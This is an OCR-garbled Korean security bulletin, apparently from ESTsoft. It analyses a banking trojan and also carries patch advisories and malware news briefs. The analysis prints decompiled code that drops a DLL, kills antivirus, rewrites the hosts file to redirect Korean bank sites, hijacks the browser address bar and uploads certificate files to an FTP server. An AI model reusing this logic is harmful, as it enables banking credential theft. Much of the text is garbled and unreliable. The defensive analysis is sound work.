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29043 E &ME

‘ Intt.exe

~ V3Safer32.dil M % MB|AZ U
V3Safer32.dll
[ ServiceMain | [ IEFire ‘

A 3 =d AO|E E5 ZAl
“‘AEH#_:’E_D E%Jx E
S Hj fp éﬂjé% - http://***/indextxt T VPN I3 ALO|E HZ
IEFire 2 MW SQCUASM 7=

e

http://***/ftpindex.txt =

- JH|A Al

X7 Y Che/A1%

V3Safergt= MH|AL| OIS L2 Yool SEAIZICE ME|AT 2 & LT 2Ll OIS 22 ALEoH A7} OF ZxE HO|==5

okl AU,

v3 = OpenServiceA{result, lpServiceName, 0x10010u);// ServiceName - U3Safer
vh = u3;
if ( v3 )
{
StartServiceA{vi, 08, 0);
CloseServiceHandle(vi);

by
result = (SC_HANDLE)CloseServiceHandle(v2);

(23 3| MHIA AR ZE
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— IH MM

V3SaferA{H|AE SEGE | 2ol A|AE SO L0 2fd TS Aottt

W A2

YoM ARIZEEH%\V3Safer32.dll

v3 = CreateFileA{NumberOfBytesWritten, BxCOOOO006u, 1u, 6, 2u, 0, 0);//
/7 "CWWINDOWSWsystem32¥U3Safer32 .d11™
if ( v3 == (HANDLE)-1 )
{
result = @;
H
else
{
WriteFile{v3, 1lpBuffer, nNumberOfBytesToWrite, (LPDWORD)&NumberOfBytesWritten, 8);
CloseHandle{u3);
result = 1;
H

return result;

(73 4] oreme My 3=

bl F44(V3Safer32.dll)
V3Safer32.dILE 2 Mu|AZ HAE|H TAH 371X SEF= ofAl ECt 1 = V3Safer32.dll Li52] [EFire
OLAISHOIS BIL}

L

DW

MH|A SEA| 371X AH

- HjA 223

_—

I:I

- DUCIRRE U SAETIQHE

o,
— |[EFiregts A3

S

Create_Thead(®, 0, AVKill, 06, 0, 0);
uZ2 = CreateMutexA(B, 1, &Hame);
vl = GetLastError();
if ( vl == 183 || v1 == 5 )

CloseHandle{(vZ);
v/ = dword 1008D714;
v = dword_1008D718;
v9 = word _1008D71C;
Create Thead{(®, 0, File Download, &v/, 0, 08);
Create Thead{(®, 8, Host Check, 8, 8, 8);

= (void =)Create Thead(®, 0, RUNDLL Execute, a1, 8, 0);

WaitForSingleObject{v4, OxFFFFFFFFu);
CloseHandle{(v4):
return 1;

(12 5] 52 NHYS MHsH= TS
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[ESH, E1|I|ﬁEa|01| S5 E_ i %EE “*GFLH'f CMD“‘%‘M% O|Z5t0 HLlS AMISHTY
if ( 'uigestsplosn el r i il L . mdwrrs L))
{
if ( "o e e L 1. T, W pRa, L ) Y/
/1 2AE avz] A2UAZ T2 S2HY
{
iy Tilarmiar L e, b L Y
Ik o i L L ¥
(ANl J° ' R & 1 - iR, ME, MR’ , (HANDLE)'WO');
TR ST - I
AT '
it Et i L (5 T | 1 )P A ES
/7 ANE SEEY batTlE MM
FYPeS] == Fi N
§ ) i ol "Mk " NG/
// bat i S AVAH
H
H
RegCloseKey(hkey);
'

[23 6] WM 5} T

- ol ORI E
S AJO|E0l B4l £712 U2 B2 QhATI0) TSt HEE HotRrt 0] £ g FES S hosts T HZ ANIIAS Ch2 Ho}
AISSICH CHRUH= ORMTIIO| ZXHE PIX SIOISHT, ZXH5HK| O ST OHAIIIQIS CHRUH=C} Ol $HH index Xt 0| HHOFX|H

G 0| 22 YZE Soff M22 BH0| WHEX| pi=Ch= AS St

L2t o T EE il /U= A

— %Program files%\Common Files\Plugins\index txt

| indextxt - G| 2%

DFeE) BHEE MAQ B2V E2UH)
500 )

s5a.exe € TAEDNY HE etMIC
ven=216.172. 152,238 E—

[23 7] 712 O2 WE Y400l st "e

O10| VPNEIAIO 2 O|F0{X|7| 20| SAEIUS2 VPN 7HPE HAEFLCE
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| hosts.ics - D2 E
OgE HIEE MH0O) 22N E2TH

Wy

CoDDO0oDDDODDD00
R R e CsL L e 0
= U S e S ) S L
-1-1-1-1-1-1-1-1-1-1-1-1-1-1-]

hanabank . com
keh.
Wy,
Wy,
.shinhan. com
Wy,
Wy,
Wy,
banking.nonghwup. com
Wy,
Wy,
Wy,
naver, com
Wy,
daum. net

coLkr
kbhstar.com
wooribank . com

hanabank , com
keb.co.kr
nonghyup. com

ibl.co.kr
standardchartered.co.kr
naver, com

daum.net

[2& 8] hosts.icsTIH0] X El 5

- RundlI£ S¢St |EFire &34

ofld ST == UF0 EXHok=s 22! IEFireS 2HAIF ALEAIS] AAE THOIH DS AT

1strcpyA{&u7ay, &u3Z);
lstrcatAd&uv74, " W'');
lstrcatA{&u/4,
lstrcatA{&u74, "W',");
lstrcatA{&u/4, &u2);

result = Execute Rundll{&v/4);

(LPCSTR)Y&FileName); /7 U3Safer32.dll

£/ rundLL32 .exe

// 1EFire

[22 9] IEFire &2 48 sh= 3E

— |EFire &t

I_

IEFire &= AF2AP} Internet ExplorerS A2t I EX AO|E B4 08E 21015101, 70| DIESH= AR UMSHIE A5,

5HIFUS 57| 2ol 4 Internet Explorere| TS &10ISHC}

SMVPNE &

{

by

if {( *RegOpenKeyExXA{HKEY LOCAL_MACHINE, “SoftwaretiMicrosofti?Internet Explorer™, 0, 0x20019u, &hKey) )

if ( ?RegQueryValueExA{hKey, "Version', @, &Type, &OutputString, &cbbata) )
OutputDebugStringA{{(LPCSTR)&DutputString);
RegCloseKey(hkey);

[ 10] Internet Explorer®] BT &91 =

0| & Internet Ex pLDrer =4 30| URL 2X1E 3 718 2Lt

2ot dR0l= VPNS

a1o1510, 5

>

REEZ0 URL 2AIE 4} IS ?igt 2HE AOIE 2AES
gZsh 20| I AO|EZ F5okA| S,
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v1 = FindWindowExA{B, O, "IEFrame', 8);
if ( ftul )
return 0O;
u3d = 1;
GetWindowTextA{v1, &Stri1, 260);
vh = FindWindowExA{v1, 0, "WorkerW', 8);
v2 = FindWindowExA{v4, O, "RebarWindow32', @);
ifF ( a1 < 8 )

{

if ( a1 == 7 )
{

v2 = FindWindowExA{v2, O, "Address Band Root', 0);
by
else
{

if ( a1 = 6 )

goto LABEL 9;

by

v2 = FindWindowExA{v?, B, "ComboBoxEx32', 0);
ue = B;

u8 = "ComboBox";
b
else
{
vy = 9;
u8 = "Address Band Root"™;
e
v2 = FindWindowExA{v2, B, v, v9);
IBEL _9:

v5 = FindWindowExA{(v2, @, "Edit", 0);
sendMessageA{vS, 8xDu, 8x180u, (LPARAM)Str);

[23] 11] Internet Explorer 42U #HES 71H2t URLFELAE Y= JE

AEAPE S8 FA= F50ks A0] =2UET VPNES #3838 PERL 0

|
ALO|E0f| H<ESHCL CHS2 VPN AH A2 ZEA| CfA URLE T E0|CH

VPNA{H =4

- 2K QMg

Es Tjﬂff’ %ﬂ%@ﬂﬂi1 copyright by Estsoft Corp.All rights reserved.



Part2.6&2| 4g3L Ol

tstricmp(&Str1, "http://we @kstar.com/")
tstricmp(Str, “http://wuww #ilar.com/")
tstricmp(&Str1, "http://wve =toribank.com/")
tstricmp(Str, "http://wuww =i ibank.com/™)
tstricmp(&Str1, "http://wvs ikinhan.com/")
tstricmp(Styr, “http://www f8iihan.com/*")
tstricmp(&Str1, "http://wve Linabank.com/")
tstricmp(Str, "http://wuww Lsisbank.com/")
tstricmp(&Str1, "http://ba&saiig..nsaghyup.con/*)
tstricmp(Str, "http://bankii] nongiyp.com/*")
tstricmp(&Str1, "http://wis &inghyup.com/™)
tstricmp(Str, "http://wuw L&ghyup.com/*™)
tstricmp(&Str1, "http://wvs &ib.co.kr/™")
tstricmp(Str, "http://www &80 co.kr/")
tstricmp(&Stri1, "http://wa FRKk.co.Kkr/"")
tstricmp(Str, "http://wuww I8 co.kr/")
tstricmp(&Str1, “http://wwe L&nabank.com/*)
tstricmp(Styr, "http://www Lsdsbank.com/™)
tstricmp(&Str1, "http://hassdank.com/")
tstricmp(Str, “http://hanalsss .com/*")
tstricmp(&Str1, "http://Ke8 L& _Kkr/")
tstricmp(Str, http://keb & &r/")
tstricmp(&Str1, "http://wvs &ib.co.kr/")
tstricmp(Styr, “http://www &80 co.kr/™)
tstricmp(&Str1, "http://wvs ilandar W ke bired.co.kr/"")
tstricmp(Str, "http://wuw._ilskdarddba’ 180 Ed.co..kr/") )

I T (— (— — — T————— ———5—5 —i—m e e — A— A—— l—
——— —— — — — — — — — —— — —— — — — — — — — —

w3 = 3;
OutputDebugStringA(''Create);
UPN_Setting();
Connect_UPHN();

?

result = v3;

(23 12] 31 AOIEE H&8H=XIE #RsH=s ZE

[o

SAA= DU AO|EE Soll 2 E 55t 20| AISAME RS EFIct AUSME= ofld PC| IPE ZEeiTH IIAF2 = FTPE
L=

0|20t TSECL.

i FTP M&

- FA I 70PT

=D :v**

- PW @ g&=*u*
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ExpandEnvironmentStringsA("%ProgramFiles%"”, &FileName, 0x104u);
lstrcatA{&FileHame, "WWHPKI™);
if ( GetFileAttributesA(&FileName) *= -1 )
{
OutputDebugStringA("'GetProgramFile");
vi = 13
1strcpyA{byte_1000DCE4, &FileHame);
= GetTickCount();
wsprintfA{szLocalFile, "%s%d PR %s.plk"™, String, v4, dword 1000DDES);
v5 = sub 1000898D0(szLocalFile, 8);
sub 100047908(v5, &FileName);
sub_100809980( (void =)uS);
Sleep(8x64u);
u? = CreateFilefi{szLocalFile, O0x80080800u, 3u, 8, 3u, 68, 8);

v3 = u2;
if {( v2 *= (HAHDLE)-1 )
{

v9 = GetFileSize(v?2, B8);
CloseHandle{v3);
1f { v9 > DBx6L )

{
if ( v9 < B8x1000880 )
{
1f ( Send_HNPKI{(szLocalFile) )
v7 = "send p success™;
else
v7 = "send p failure™;

OutputDebugStringA(v7);

(23 13] USME EFlsh= 2=

DE SHE EFolH QAT == AREAL PO HEERI 3215 ot = VPNES oflX| = AfHISH.

1l
NW

OutputDebugStringA(""AutoHandUp');

if ( dword 1060E168 )

{
RasHangUpA{dword_1008BE168);
dword 1000E168 = 0;
RasDeleteEntryA{B@, "UPN");

}

return 0;

[T 14] VPNSIZE AHH|

0] &, KAIKO| gl Z{AHO| B & QIEE SAEN LI

CIX[GHX| 2ol s, UERTAE EHCZ WHGH =2

U0

ARSI ARSAL XML FE 7 4G T E0 2ol EF CRACH=E AHS

—

=Lt

OB

memcpy{{void =)&FileName, "C:WWWINDOWSH#system32vitdriversitetctithosts', Bx24u);
v3 = *( WORD =)&aCWindowsSystem[36];
memset(&uvi, 0, 6xDCu);
ut = 0;
vl = CreateFileA{&FileNane, BxCO000000u, 1u, 8, 2u, B, 0);
if {( v *= (HANDLE)-1 )
CloseHandle{uvi);
memcpy(&ut, *C:¥RHIINDOUSHsystem32ttdriverstttetcitthosts.1cs™, 0x28u);
u7 = #*( WORD =)&aCWindowsSyst 0O[40];
memset{(&ve, O, OxD8u);
vl = B;
result = CreateFileA{&vo, 6xCO006600u, 1u, 8, 2u, 6, 8);
if { result *= (void =)-1 )
result = (void =)CloseHandle{result);
return result;
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S ST TRl LR e, | ril i e e PPTP 70 Echo-Request

PR s g BRI Rl N S TCP 60 pptp > zented [ACK]
S iy g BRI RSl N Sl PPTP 74 Echo-Reply

™ LT LR LA S | rol i T TCP 54 zented > pptp [ACK]
2 ol LYl Rl N Fuorm e PPTP 70 Echo-Request

" el e g Fvom i e PPTP 74 Echo-Reply

Pe Sl ok e ol vl TCP 60 pptp > aspen-service:
144 ™.l i - vt e i e PPP Comp 91 Compressed data

14 eI e, Fol el et GRE 60 Encapsulated PPP
L™ et Al i o i Ft e i T PPP Comp 91 Compressed data

LA " SRR TR R Ml RSl N FLt el et GRE 60 Encapsulated PPP
LS E. MM iac ki, [ I | il el T s PPTP 70 Echo-Request

Ly =, AR N Sl N S e TCP 60 pptp > zented [ACK]
il F.ll MMl 0k e S PPTP 74 Echo-Reply

1L ..l e i . PR i e TCP 54 zented > pptp [ACK]
10l ™= il g R, | B R, PPTP 70 Echo-Request

TR et R Mt MR ot - PPTP 74 Echo-Reply
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‘Routing and Remote Access — AH|A FX|
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cmd - chkconfig pptpd off
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Microsoft 62 H7| HOF HH|O|E

~ Internet Explorer =0t ¢IH|0|E(2969262)
0| 20t HHI0|E£ Internet ExplorerOilA YZAE|0] /W& 2 B 1E FoFY 271 2l HIEIWE o2 B 1E| £ 57212 SHASILICE 715 Azt
FEE AEA Internet ExplorerS AFE0tH S0l 2AE & HO|XE & 3% 24 T & 4= o188 &+ UsUHL. 798 530 S&5e
SAA= S ALEAILL ST Hehs ¥E 4= USUL ALJ0 TSt ARSXA ETH0| HA| 88 AZe| 142 Sefit HT2 2 A oh= 20|
Hlal FefE & EsU.

- Microsoft Graphics Component2| FUFHC 2 Qlst #2 T = Ml EX|FE(2967487)
0] 22t YGH|0|E= Microsoft Windows, Microsoft Office, Microsoft Lync2| HIZ7HHC 2 H 1E FOFE 2212 sHEASILCEH AFE2AP T S5
2EE MU0|L & HO XIS ST Olet AT = Qloll #4 T = A1l0| olEE &= USHOL AIAR0| Cheh AFZAL EeH0| A 1 E3E A2
AEA= S|t HetL = A ol= ArEAH0)| Hlel &= HA| 2aLL.

—- Microsoft Word2| F4HO 2 15t 2124 I E A3l FXI7(2969261)
0] 29t A0 |EL HIZZ|A S 2 E 1= Microsoft Office2]| F|QPH2 SHZSILICTH 0] £FHO 2 Q16K HEH2 = Microsoft Word HE0AM E45H|
ZTRE MYUS € 4% #4 T 30| 58 & UsUt HUYH U0 d52t SR = X ALEXIZ St HEhs 2S5 UsUC AIAZ0
CHSH AFZAL HTH| HA| 24E APl 1742 2| X} Mt 2 Esk= 1IZ0] HisH FaksS XA gL

- Microsoft XML Core Services2| FUHO 2 QIst HH K= EHIT(2966061)
0| £t HHI0|E= HIBZHE2E B 1=l Microsoft Windows2| F2fE2 sHAEILICE 0] FFHLE Qlei 228t AFEAP | Internet ExplorerS Sal
MSXML(Microsoft XML Core Services)0| 3|5 S5 Z&E @ AO|EE WEs= S BRI f2E &+ UsLIHL 22U oS ZL0=
S4A= ZH= AFZAP O[2St El AIO|ES WEoleS TS &= Gl Uil SEX= Ar8APF AL M| HIAX] = QUARE 41N 252
2132 S2l510] Z2XI2| ¢ AO|EE YWREITE Q6= Z10| LHIEQ|L|C}

- Microsoft Lync Server2| F4HC = QIst HH |5 EXIE(2969258)
0] 9t QEI0|E= H[ZIHEO R & 1%l Microsoft Lync Server®] ZQFXE SHZIBILICE 0] HFHO R Qs ALEXPt S451 ZXE 29 URLE
2205104 Lync 20| H0I512{T AISE HS HE Q50| SIS & QIALIC

-TCP T2 EZ9| |UHO R Q15 MH|A HE 2X|F(2962478)
0| EOt HH|0|ES HIZ/WM O 2 2 1=l Microsoft Windows2] F|QFHE SHAESILICE 0 FUNS A E451H ZEE IH7) AHAS ChA
AABI0] H&8 AR MHIA HEE 588 4 QISLICE

- §17{ G ATEL| FHOZ QI3 M 2X|T(2969259)
0] 19t IE|0|E HIZIHAO 2 2 DE Microsoft Windows] HIFXS SHZBILICEL 0] FFHE 1517 &4 RO HIAIS DR ES) i
SOt BARP} A AIATH SUS IEYT MTHEO] THS HMIA HEHS B CH 54511 T RDP IS A AAHOR XAS A
S 4 QULICE 72 XO2 RDPE 2E Windows 2% HIHI0IA ALEE|ES HHEIX| et&LICH RDP7HALE THSBIX 24 AAEI2 FOr5IA|
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Microsoft H2t HE[0|E of 2H

Windows UpdateE &6HHLE Microsoft H2F SX| 22F AFO|E0|A o FAES2 JHEAQ X IES OREE B = USLLL
+ 8= ! http://technet. microsoft.com/ko—kr/security/bulletin/ms14-May
- BE : http://technet.microsoft.com/en-us/security/bulletin/ms14-May

GoZeus, CryptoLocker 28T E L|5HZ=2
Z8HE UIHQIHEE SESHS Zeus HE OHAT S GoZeus'2} ZEE PC LIQ| SAIIUS S SIAIA 2HE 275H= CryptoLocker
2| Ll 0| Ofl =0 M2} 0]F EZ 0| Cst ZHm[o =2

ZZ S= HF7HNCA)2 0|= FBI2t SZE5IHH S8EEE RS0H= GoZeus U0 S F=HE THRISICH 0|2 215l ZHSPC LisH

23 013
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‘GoZeusAEGIAEE T2 A HY SCE FIE|H HF Al ALEAL AEECN 578 AEIEE H46HH Y20 TEE QESH HEZ I [&
- 2 XP : C\Documents and Settings\|[HE3]\Application Data\[HE6Xt2]]\***** exe
- HER 7 - C\Users\[AIES]\AppData\[SHE6 X2 |***** exe
- HER 7| — A8 — cmd.exe — netstat —an Y8 F SE5IX| E2 ZET} U=K| A}

CryptoLocker 2T Ci= ZIE! PCOj| HELEI0] QU= BMTIUS ASSIAR] S ALRKI0)H 2US XI=E RS OI2RHH 278
- XA £X0| 27153 BitCoin = MoneyPack S 0185HH, LT s OH T C0j| UE A 277t IR 27HS5IER AR 00|
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- JAEE
s W= B HH
- HAI HH 2.3.9(W511SL, W622SL, SMART, K501, LT20, W723GL, D600G) & 0|7 HH
- HAUO HHE 2.3.10(BASICPLUS, NO1, iSMART TRUE300, ZR300, N3, iSMART PRO, N300) 3! O HH
- HHUIO HE 2.6.2(W622SR, W623SR, W6E23AR, MAX) 3 07 HZ
- HRI0| T 2,6.3(W511SR, BASIC, AirCube, iISMARTmINI) 3 0% HE

IS W o
- Realtek HZS (K501, W511SL, W622SL, SMART, LT20, W723GL, D600G)

- Ralink HZz(W511SR, W622SR, W623SR, W623AR, MAX, AIRCUBE, iISMARTmini, BASIC)
- Broadcom HIZ (N3, BASICplus, N300, iISMART-TRUE300, NO1, ZR300, SMART-PRO)

ESTsuft %‘ﬂ%@EE‘l copyright by Estsoft Corp.All rights reserved,



Part3. 22t 0|+ EH7|

- o Ed
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http://www.iwevo.co.kr/board.php?BID=board06&GID=root&adminmode=&category=&mode=list& SEARCHTITLE=SUBJECT&searchkeyword
=%BC%F6%B5%BF

(&I ALOIE] http://www.iwevo.co.kr/board.php?BID=board01&GID=root&mode=view&UID=53&CURRENT_PAGE=1
http://www.iwevo.co.kr/board.php?BlD=board01&GID=root&mode=view&UID=54&CURRENT_PAGE=1
http://www.krcert.orkr/kor/data/secNoticeView.jsp?p_bulletin_writing_sequence=20950
http://www.kisa.or.kr/jsp/common/down.jsp?folder=uploadfile&filename=%EC%95%8C%EA%B8%B0%
EC%89%ACYECY9A%B4_YoEBYACYBAYECY84%A0%EBYIEYOC_YEBY%B3%B4YECY95%88_YEC
%95%88%EB%82%B4%ECY084%9C pdf
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OpenSSL Cts Fd H2F HO|0[E Hl

305t OpenSSL HZIS AFEGHS Aot S210IME AOIIA BZHXPH S5l HOIES SE3Kt 4 Q= HOPH, MHIA 75 FOPE,
QIO|TE M3 FOPY S 61O oMK HRAFH HOIIH|0|ES WHE

- JMIEE
ZZE HEM0|T TEE St SUMITM) SZHLE FSH|0[EIE S2t6til M /Z2t0IUE ZH S HI0|E2] ZZ{0] 752 F2FE (CVE-
2014-0224)

HPE&EQ1 DTLS SHEM|0|3E OpenSSL DTLS 2210|HEN| 5510 AH|A HE 50| 758 F2HH (CVE-2014-0221)
HIRAPRQI DTLS 2| 1HEZ OpenSSL DTLS Z2}0[AHE = AH0] TiA5104 QO|TE A3H0| 7Hs5H FFE (CVE-2014-0195)
do_ss|3_write &4=2] A& 2 QI5 Y2|F = Al8H0| 7FsSt F2fH (CVE-2014-0198)
Lo FYH2 OpenSSL 1.0.02+ 1.0.101A SSL_MODE_RELEASE_BUFFERS =40| st I LM GHY SM2 7|2 MO 2 H|ghd
SERR)
ssl3_read_bytes &2 A% AEH(race condition)22 Qs ZHXEZ M40 GI0[EHE FRIAIZ [HL MH|A HE 40| 758t F2UH (CVE-2010-
5298)
L &1 F2H2 OpenSSL 1.0.02 1.012 AFRSH= HEIMY|E H{E2|3|0]M0|A SSL_MODE_RELEASE_BUFFERS S410| £H43}5|24 f St
CHE S42 7|22 =2 HIgd AE)
anonymous ECDH ciphersuites?} 2418Hel OpenSSL TLS 2210 [HEN| AH|A HE SH0| 2lsh 4~ U= FIFE (CVE-2014-3470)

- o ZY
oligd FE0 BT L= B2 ArSAR= Ofel| HIE2 = 0|
- OpenSSL 0.9.8 Of & ArEA}: 0.9.8za HEL = GH[0|E
+ OpenSSL 1.0.0 Of B3 ARZAL: 1.0.0m HEL 2 HH|0|E
* OpenSSL 1.0.1 Of B8 ARSAL 1.0.1h HE2Z EHI0IE

[ZIIARO|E]
http://www.openssl.org/news/secadv_20140605.txt

Adobe Flash Player 41+t F{2E 22 HH[0|E
Adobeiiti= Adobe Flash Player0fl F&ks F= 719 F?‘H% 5245t HOt QIG|0|ES BT

=L

DK 2P 0/8510] MK AIAHO| HOHSHS HSE 4+ US

- M
Adobeiit= Adobe Flash Player2| F|2f& 67101 Chgt H2F FH|0|ES &1
cross-site-scripting F2f& (CVE-2014-0531, CVE-2014-0532, CVE-2014-0533)

HOP5E 238/ 4 QL= FIFE(CVE-2014-0534, CVE-2014-0535)
o|TE MO 2 0[01E 4 U= HIZ2] &4 HAF(CVE-2014-0536)

- o ZY
T o B|=A $1249| Adobe Flash Player AEX}

Adobe Flash Player Download Center(http://get.adobe.com/flashplayer/)0l| 2125610 Z|Al 2 Mx|sPHLE, XHS YHI0|ES 02610
Y140|1=

Flash Player 14,00.1252 SO0 |E7} 278t 2122 X 9 2149| Flash Player 13.0.0.214 AFEX}F= http://helpx.adobe.com/flash-
player/kb/archived-flash—player-versions html& 22813 Flash Player 13.0.0.2232 2iH|0|E
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T2 80HFNM S&ist= CIEHI LUASZ 210 HE A=K} : 212 Xt=
- Adobe AIR SDK A}

AEOIE H

X} http://www.adobe.com/devnet/air/air-sdk-download.htmlof] 225t Adobe AIR SDK Z[4 XS A

- Adobe AIR SDK&Compiler AFEX} : http://www.adobe.com/devnet/air/air-sdk—download htmld| 225t Adobe AIR SDK&Compiler Z[4
HE= 2X

. QI=20|= £1240] Adobe AIR AREX}: Adobe AIR7} AXIEI Q1= 20| Z0jjkf ‘T2 Z(0] AE0T Rk — Dl A2 — LH OfZ2J3H(0} et —
Adobe AR 2'=20|= =|4| HECO = RI0|0|E 1AL ArSRIHI0|ES 5180t E10|=

- A 2 ol 2kAH0| Adobe AIR AHEX} : http://get.adobe.com/airtil 25251 Adobe AIR E[A HHZ AX|

[(EIA|E]

http://helpx.adobe.com/security/products/flash—player/apsb14-16.html

Cisco WebEx Meeting Server HE - = F|24H HOFH|0|E

Cisco WebEx Meeting Server2] XML PIXXML programmatic interface) FEC 2 QIaH EZ40i|A BIZis HE0| CHsH 20| 7+t
FUES olidst 2O GO0 [E YE
SAX= G 2= A|AEIN| AFSA} HS

S S5 4= QU0 MM DSt EHEE SSS f Qo0 FMHHCE HH|0|E ALY
‘Cisco WebEx Meeting Server 3EXx-= F|2H[CVE-2014-3296]

- M
sHE #1242 Cisco WebEx Meeting Server®] XML Pl £ O 2 Q15 ZiC 2M4, 22X}
F|ofE0| 25N, Ol S4XA= Uit BESS eS8 &

=2 SS8 4 U, T3 0|5 FIH8QI THSO| 23 TH5E

S-517 ZE5HURLE ZoFsHSH(0) 238 29

- o Ed

FOFH0| WSt CiscoRHIL| 2PRHE, SHLEH= ATAL|EN YAIEI0] QU= ‘Patches/Software’ LIZS &

[E I ALO|E] http://tools.cisco.com/security/center/viewAlert x?alertld=34663
http://web.nvd.nist.gov/view/vuln/detail?vulnld=CVE-2014-3296
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CISCOREE 1050 HEHS F= MHIA 745 FOIHS SiZ5H 2Ot QIH0|ES WE

- SMEE
SAX= S5 &t IPsec(IP Security Protocol) HIAIXIE FUFE| G W= AARN MST EF, ZH| HREESE AH AMHIA HRE 2
FLAE = US
FUEN Sg= B S Ar8oll US 82 MH|A HE S2| OolE fle = L8z RIHHC = YH|0|E #Hl
EIAIO|EQ) “Affected Products” LI &=

- o Ed

Fopst B SAXH= QA4 HIE S510] IHX| X U ATAO|E B
(a0 =]

http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2014-3299
http://www.cisco.com/web/about/security/psirt/security_vulnerability_policy.html
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I|O|AS FX=0| HIEZ I xli=0]| O &1 UL

It's Not Funny: Facebook Users Tricked into Bitcoin Mining

= HHO| 0| AS FAS0| ARl A|ARI0] HIEZ?IS A= ok=0| 0|2 =l o= E20|=0H| 43 E[RUC XH 0| MS2=
YA ERUCH, Ol= Z=EFZ, W0, Olx, FOF|0f & M[=8|0t=2 X} IAIC} 0] 2Fd T E= H0|ASS| Tato[dl HIAX[E
O|&ot0] MEICE Kpale] gt 2112 AFEL = "hahaha'eh= HIAIX|2E &4 IMAGO0953.zip I} Z0] 5 =l=0|, 0l= &% O[0[X]
IHUQT XS] HO|X|2FAFE2 2 i} jar D}UO|C, O ASlSHA| Dropbox AFEL 2R E DLL IS CH22E 51, CRC AjH{0f]
o4 &, 58 HIAIXIE 85 A FO E=5t shellcode’/| QI A S=22{0] o) R 23 &, HEZQ A== {8t 5 FIM DLL
mels L= ot

=7 : Hot for Security(http://www.hotforsecurity.com/blog/its—not-funny-facebook-users-tricked-into—bitcoin-mining
-9263 html)
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Android HijackRAT poised to hit mobile banking users

Ciefst 7150] ZL&H E QIEZ0|= 510X RAT (Remote Access Trojan: 22 &< EZ0| 00| YA ZACE Gnngl Service
Framework’ 2 {/&et 0| 2Fd U=, 74 BH, Wi F2|HI4 S= =2 = UCH SFXA 717|122 #4 B&S oiE8i o
ot E2, 0| Y2 CHEHIO A S84 WS T/ = ACk= A0|C. 24x4 O Y2 8712] Chetll= 22| TS THS a3t AT

7172 O12H0]| Bh= 2] LASSE L2 s d: <50

android

O] ¥0] 2| =™ HijackRATZ BEeh 712 AMH|A D YA 2 X MBI, 21 oFH ‘Google Services' 00|20] SA3E0]
YIED. ESH A2 FAUA HER EHehE 2+Mk=0, 01F ~=lolE 747t 7|7] 28 HO|X|o|M Hets El==)7| T 7K &S
AQUAZ Sh= A2 S/tsol E5H "H0| 2X| ZX| FRpUSHH 2= HE HIAXIRE 27H ‘Google Services' OF0IZ 2 AlehZ Z0|C.

O] 0= 2ixl 2301 AR CRC M0 HESHH EfAT Z=]S L2 B=L 0] B8 S0ll= & JMEE, B=fx =5, 5AE
HAIX| WE S= =ci iill= 25 ZeHE 4 UCL E3H 0] 7710 2| = tisitl= U 87l 28 &S S o7t 28 &3, 0| TE
B = HHY X7 off Hiel= HUME L BAIRACE

A
1 8712 23l WS 2 t=22| RHSH QLEHIO[ZA EFM 21 “com.ahnlaby3mobileplus™| AX|E Q5iC} ESH HAO7 | Y2sl=
2= Olol/| floldd, Ol= HE ¥S= £5o/| M CHEHI0 A ¥s RF2ICt 0= "Y2| M2 HT0| &= oL, TEX| =
AESHIA L 2= B TIAIXIQF EF7H 40| HO|0|EE Al=5t21 St ZAXE SMISEKITE AFES “TIN 23 WS QUAE Sl=
Zi0|c}. GHESE 0] Yol AX| 0|F EE22 OFRIX| it 21 Zie = HOICY 51717} ¢S DR 2|sk= Ol OHEAIEE 41 U=
A= Olef #Ct. oFX[2F 0] 2| SEL = Q610 L= 4=t I WAL 2I80] & C7i= A= al&fet &= UL Z030C0

Z7 : Net Security(http://www.net-security.org/malware_news.php?id=2800)
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YOI Q17|18 AHRACE HH T E HIEAE2 0]2{st pangul| Q17|12 0|26, panguE0i| MBRS & YAl7 |= HETZEE A0
FEIUCE oid AT E2| 0|52 "X E, LT 0] AHTFE0 4EEH AFES MBREES 25 AREE = 9IS SHOH 41X
VBREGZIX| S24tH2|7 | = StC}, M2tA] Of0]Z2] E=0| O|F0{X|X| = &0t OfL|2f, AFE FA| FEI0| =|X| Z2H 2HMI= "i0S
Jailbreak??? Fuck et= =7} LIEFHATE, offe 2T 50| 4B E AFEAN= MBRE1EZIS 01&610 =—+1li0f otH, E326HH

TE HO[EE 2 HE 45 Ut

offd AT E= XS xypangu.diZ HIEGHH o TEMA T AHE 0 374 2|0 B2 tirSS P2l AC = LIEHTH

=X . http://finance.chinanews.com/it/2014/06-26/6322320.shtml
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2384594 SABEF N |

2|2 S30IM 2HIY FEESAHQ! Fapdi 0] WHTIUCE SHE AHTFEE= 60007H2] ERE ARSI RE |, 34X 62t}
g FUE0| ZHEE[RIC offF QI 0| AFEH 24A 7S FUES X E AL = G2, IFE S ol = =X/} oiZ%|X|
2=t oid YT =2 M= Al s=E Aol | floll =30l okX[0f, Hi= SHEX|0F 2= 2Fd 2 1S H|I%6H
FIICL oY I ES A3lolH M FUES 271 HEICE SEX[T 24A1210] X[LHH K= 2 ZHF0| oM=L, 2Lt =504
LS of= HE0| Soie 71580| 0 =O0f, HAXS2 olfid UEIE Bl S24s ML QUL

=7 : http://tech.china.com/zh_cn/news/net/156/20140627/18591980.html
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303Z42| "LINE /A8 EFITfol- IXHHL] At |7 =XK1t
30344 TLINEY 7 ho 2 bHD - EYBE—EF I A—aFHRA BN

LINEZ M| 3XH0| 2fet FE=1921 FX= AP Do AIE 2A7Hotl 3~2F S A 2lolH 8 =212 Tfsl £217t 6

20|= 7kl AL, 30322 78 =121 LishE =A2U3MCE 01 AL =, FFiE AFZE Sdli LINEX| SSEI0] = XAUSH|A

STEQI HEE Qo= AP |LoH7 WAESHCE LINE S AMH|ADIC} CHE INAIEE AF25H0] 720!
TQSICH K=Y,
=7 : Security—next(http://www.security-next.com/049765)
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HZ} EICL S0 28521 43 B3l O0RES| 7|ZEAHE HolAS2| AX0AM Hix]L = 7I=240] OFd HIZo|A X ZHHS|

TE = Us SEE 7KL U0, 7= (= 7I2EE gHE Y=ol AU = X7} 0|FH K= +1=0|0. 2F7| =0
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7|ZEHS AZ MO|EY TSotH SAXYL 7 |ZEH GHIE EFE + UL 0[0]] O0FE M= 68=F
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£ : Security-next (http://www.security-next.com/049718)
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FO0|AEADE HOM|SE Tel : 02-3470-2999
E-mail : help@alyac.co.kr
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